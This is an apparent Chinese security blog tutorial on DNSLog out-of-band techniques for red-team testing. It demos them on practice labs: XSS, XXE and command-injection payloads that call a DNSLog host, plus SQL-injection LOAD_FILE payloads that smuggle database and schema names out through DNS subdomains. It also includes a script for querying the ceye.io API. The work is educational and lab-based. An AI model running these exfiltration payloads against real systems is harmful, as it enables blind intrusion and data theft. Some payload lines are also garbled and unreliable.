穿透式侦查:DNSLog在红队攻防中的降维打击

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


目录

一:DNSLog 技术:漏洞探测的「隐形侦察兵」

1.什么是 DNSLog?

2.DNSLog 如何工作?

3.典型应用场景

4.DNSLog 的独特优势

5.常用工具与平台

6.局限性及绕过技巧

二:DNSLog平台

1.Bu r p Co l l a b o r a t o r

2.d n s l o g . c n

3.c e y e . i o

三:实战演练

1.XSS-DNSLog

2.RCE-DNSLog

3.XXE-DNSLog

4.SSRF-DNSLog

5.SQL注入-DNSLog

总结


一:DNSLog 技术:漏洞探测的「隐形侦察兵」

1.什么是 DNSLog?

DNSLog 是一种基于 DNS 协议的隐蔽通信技术,主要用于网络安全领域的漏洞探测与攻击验证。其核心原理是:通过监控 特定子域名 的 DNS 解析请求,间接判断目标系统是否存在漏洞(如 SQL 注入、SSRF、命令执行等)。
简单来说:攻击者生成一个唯一子域名(如 xxx.ceye.io),诱导目标系统发起对该域名的 DNS 查询。若查询被记录,即可确认漏洞存在。


2.DNSLog 如何工作?
  1. 子域名生成
    使用工具(如 ceye.ioBurp Collaborator)生成一个唯一子域名(例如 a1b2c3.ceye.io)。

  2. 漏洞触发
    在攻击载荷中嵌入该子域名(例如 ping a1b2c3.ceye.io)。若目标系统存在漏洞,会尝试解析该域名。

  3. 监控与验证
    通过 DNSLog 平台实时查看是否有对应的 DNS 查询记录,若有则证明漏洞存在。


3.典型应用场景
  1. 盲注漏洞探测

    • SQL 盲注:通过 LOAD_FILE() 或 UNC路径 触发 DNS 查询。

    • XSS 盲打:诱导用户浏览器加载恶意 DNS 资源。

    SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.a1b2c3.ceye.io\\test'));
  2. SSRF/命令执行验证

    • 利用漏洞让目标服务器发起 DNS 请求,绕过防火墙限制。

    curl http://内部接口 && ping a1b2c3.ceye.io
  3. 数据外带(Exfiltration)
    将敏感信息编码到子域名中(如 data=abc.a1b2c3.ceye.io),通过 DNS 请求外传数据。


4.DNSLog 的独特优势
特性说明
隐蔽性高DNS 协议通常不受防火墙拦截,适合穿透严格网络环境。
无回显漏洞克星解决盲注类漏洞无法直接获取回显的问题。
跨协议兼容支持 HTTP、SMTP、数据库等多种协议触发的 DNS 请求。

5.常用工具与平台
  1. 在线平台

    • ceye.io:免费 DNSLog 服务,提供 API 和可视化记录。

    • Burp Collaborator:集成于 Burp Suite,支持 DNS/HTTP 混合监控。

  2. 自建工具

    • DNSBin:开源自托管工具,适合内网渗透测试。

    • Interactsh:自动化交互式 DNSLog 框架,支持多协议。


6.局限性及绕过技巧
  • 局限性

    • 依赖目标环境的 DNS 解析能力(如禁用外网 DNS 则失效)。

    • 数据外带效率较低(受 DNS 协议长度限制)。

  • 绕过技巧

    • 使用短域名或编码压缩数据(如 Base32)。

    • 结合 DNS 隧道技术(如 iodine)提升传输能力。


二:DNSLog平台

1.Bu r p Co l l a b o r a t o r

打开bp如下模块点击复制

然后就可以得到子域名

在cmd中输入ping qqq.yce0iu59oral2nnu2y7l6npyipogc60v.oastify.com 即可


2.d n s l o g . c n

打开为这样的页面,可以获取子域名 ,然后将子域名复制前面添加任意字符即可在cmd中ping

Ceye.io.vep:解决前面平台记录不持久保存,解析结果只能复制


3.c e y e . i o

ceye.io 特点:
1、固定子域名,不会变动
2、解析记录在账号下保存
3、提供在线 API

首先打开这个网页进行注册

查看token后续代码获取信息需要

Cmd中输入ping Qqq.ack4cg.ceye.io

这里还提供payload(SQL注入,xxe之类的)

在线AP可以查解析记录。

Python代码提取dns信息

import requests

import json



APItoken = '你的API TOKEN'

DNSurl = '你的子域名.ceye.io'

taskname = '要过滤的内容,查询关键字'



try:

    APIurl = f'http://api.ceye.io/v1/records?token={APItoken}&type=dns&filter={taskname}'

    r = requests.get(APIurl)

    data = json.loads(r.text)

    print(data)

    result = data['data'][0]['name'].split('.')[0]  # 假设 data['data'] 是列表

except Exception as e:

print(f'[*] Error: {str(e)}')

注意运行这个代码需要python2环境

运行成功


三:实战演练

1.XSS-DNSLog

打开pikachu靶场(使用ceye平台)

payload:<script src=http://ack4cg.ceye.io.dnslog.cn></script>

通过f12将框变大否则你无法输入

通过f12可以看到已经成功注入并且被执行.

DNSLog探测成功


存储型xss测试:

payload:<script src=http://ack4c.ceye.io.dnslog.cn></script>

注入成功

注意:DNSLog只是验证漏洞是否存在,而不是必要步骤


2.RCE-DNSLog

原本payload:127.0.0.1 & ipconfig

构建有DNSLog的payload:ceye.io.dnslog.cn

说明服务器可以访问外网,存在漏洞


3.XXE-DNSLog

原payload:

读取本地文件

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe

SYSTEM "file:///E://in.txt">]><login>&xxe;</login>

带DNSLog的payload:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://aqlw.ceye.io.dnslog.cn">%remote;]>

说明服务器存在解析外部实体的漏洞


4.SSRF-DNSLog

请求成功说明这个服务器存在ssrf漏洞(也就是这个服务器可以访问外网)


5.SQL注入-DNSLog

首先你需要先明白两个函数

load_file函数(读文件)

语句功能适用系统执行条件执行结果
select load_file('C:/Windows/system.ini');读取文件内容Windows文件在数据库本机、有访问权限、文件大小小于 max_allowed_packet满足条件返回文件内容,否则返回 NULL
select load_file('/etc/hosts');读取文件内容Linux文件在数据库本机、有访问权限、文件大小小于 max_allowed_packet满足条件返回文件内容,否则返回 NULL

secure_file_priv参数(写文件)

类型
空字符串
secure-file-priv=""
secure-file-priv=
没有任何限制(不安全)
具体文件夹只能在指定的文件夹导入导出
不设置这个参数或
secure-file-priv=NULL
不允许导入导出

首先打开sql-labs靶场第五关,因为第五关是无回显的关卡,正好符合使用DNSLog

可以看到当我们输入 ‘ --+ 正确闭合后 输出如上信息,无回显信息所以我们需要通过DNSLog来获取回显信息

初步构建payload:select load_file('aqlwnh.ack4cg.ceye.io/aqlw');

如果你学过SQL注入就完全可以看懂上方代码,如果你看不懂建议你先去学习SQL注入。上方payload中是由\\转义而来,最后加/aqlw也是固定格式

可以看到这种方法完全可以,所以我们构建实战用的payload用于将sql-labs第五关无回显的问题通过dnslog回显。

最终Payload:http://localhost/sqli-labs/Less-5/?id=1' and if((select

load_file(concat('',database(),'.aqlwnzh.ack4cg.ceye.io/aqlw'))),1,0) --+

 还是那句话,如果你看不懂,去学习SQL注入,本文不解释注入语句含义。

当我们注入后观察DNSLog 发现数据库名已经被我们拿到了(security)

然后我们在构建payload拿库名

Payload:

http://localhost/sqli-labs/Less-5/?id=1' and if((select

load_file(concat('',(select schema_name from

information_schema.schemata limit 1,1),'.aqlwnzh.ack4cg.ceye.io/aqlw'))),1,0) --+

成功拿到库名


总结

DNSLog用在无回显信息中,前面四个案例是在验证是否存在漏洞而最后一个则是通过DNSLog拿到库名进而最后拿到表名拿到账户密码。

(需要源代码联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

评论 17
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全瞭望Sec

感谢您的打赏,您的支持让我更加

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值